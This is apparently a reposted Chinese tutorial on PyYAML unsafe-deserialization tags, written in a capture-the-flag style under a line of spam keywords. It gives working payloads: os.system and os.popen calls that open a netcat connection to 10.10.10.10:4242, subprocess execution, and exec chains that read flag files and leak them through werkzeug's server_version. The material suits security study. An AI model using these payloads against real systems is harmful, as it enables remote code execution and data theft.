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news 2025/7/25 20:50:44

云南旅游网站建设公司,长沙网站seo推广公司,wordpress插件,随州做网站生意怎么样PyYAML存在以下几个特殊标签,如果这些标签被不安全的解析,会造成解析漏洞从 PyYaml 版本 6.0 开始，load 的默认加载器已切换到 SafeLoader，以降低远程代码执行的风险。更新后易受攻击的是 yaml.unsafe_load 和 yaml.load(input, Loaderyaml.UnsafeLoade…

PyYAML存在以下几个特殊标签,如果这些标签被不安全的解析,会造成解析漏洞

从 PyYaml 版本 6.0 开始，load 的默认加载器已切换到 SafeLoader，以降低远程代码执行的风险。更新后易受攻击的是 yaml.unsafe_load 和 yaml.load(input, Loader=yaml.UnsafeLoader)

1.`!!python/object:`

!!python/object 标签指示 YAML 解析器应该将对应的 YAML 片段解析为一个 Python 对象

import yaml  class MyClass:  def __init__(self, attribute1, attribute2):  self.attribute1 = attribute1  self.attribute2 = attribute2  def __repr__(self):  return f"MyClass(attribute1={self.attribute1}, attribute2={self.attribute2})"  # 创建一个对象  
obj = MyClass('value1', 'value2')  # 序列化对象为 YAMLyaml_str = yaml.dump(obj)  
print(yaml_str)

!!python/object:__main__.MyClass
attribute1: value1
attribute2: value2

2.`!!python/object/apply:`

!!python/object/apply 标签在 YAML 中用于表示调用一个可调用对象（例如函数或构造函数）并将其结果表示为一个对象。

import yaml  yaml.load('!!python/object/apply:print [\'Hello,Word\']', Loader=yaml.UnsafeLoader)

import yaml  yaml.load('''  
!!python/object/apply:print  
- 'hello world'
''', Loader=yaml.UnsafeLoader)

利用

!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
.....

3.`!!python/name:`

查看以下 YAML 数据：

!!python/name:math.pi

在这个例子中，!!python/name:math.pi 标签指向了 Python 的 math 模块中的 pi 常量。反序列化过程中，PyYAML 会将其解析为 math.pi 的值，即圆周率 3.141592653589793。

假设你有一个 Python 函数 add，你想在 YAML 中引用它：

# example.pydef add(a, b):return a + b

你可以在 YAML 文件中这样写：

!!python/name:example.add

在反序列化时，这个 YAML 数据会被解释为 example 模块中的 add 函数。

4.`!!python/object/new:`

!!python/object/new:允许直接创建新的 Python 对象，而不是通过调用构造函数

语法结构

!!python/object/new 标记的 YAML 语法结构如下：

!!python/object/new:<class>
args:- arg1- arg2
state:attribute1: value1attribute2: value2

在这个结构中：

<class> 是你想要创建的类的全限定名。
args 是一个列表，包含传递给新对象 new 方法的参数。
state 是一个映射，包含对象的属性和值。

利用

!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]

或更复杂的利用

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warningstate:update: !!python/name:exec

!!python/object/new:str

这一标签告诉 PyYAML 创建一个新的 Python str 对象。!!python/object/new:ClassName 是 PyYAML 的特殊标签，用于通过调用类的 __new__ 方法创建对象。
state: !!python/tuple

这是为 str 对象设置一个属性 state，其值是一个 Python 元组（tuple）
update: !!python/name:exec

这一部分创建了一个新的 Warning 对象，并为其设置了一个 state 属性。state 属性是一个字典，其中 update 键被赋值为 exec 函数。

这段数据等价于

Warning.update('print(getattr(open("flag.txt"), "read")())')

由于 Warning.update 被指向了 exec 函数，这实际上变成了

exec('print(getattr(open("flag.txt"), "read")())')

还有更多用法

!!python/object/new:typeargs:- exp- !!python/tuple []- {"extend": !!python/name:exec }listitems: |'python code'

替换server_version常量

!!python/object/new:typeargs:- exp- !!python/tuple []- {"extend": !!python/name:exec }listitems: |r=open("/flag").read()import werkzeugsetattr(werkzeug.serving.WSGIRequestHandler, "server_version",r )

References

PayloadsAllTheThings/Insecure Deserialization/Python.md at master · swisskyrepo/PayloadsAllTheThings · GitHub
Python Yaml Deserialization - hacktricks.xyz
YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13
PyYAML Documentation
Blind Remote Code Execution through YAML Deserialization - 09 JUNE 2021
[CVE-2019-20477]- 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - @_j0lt
DASCTF2024最后一战｜寒夜破晓，冬至终章官方WP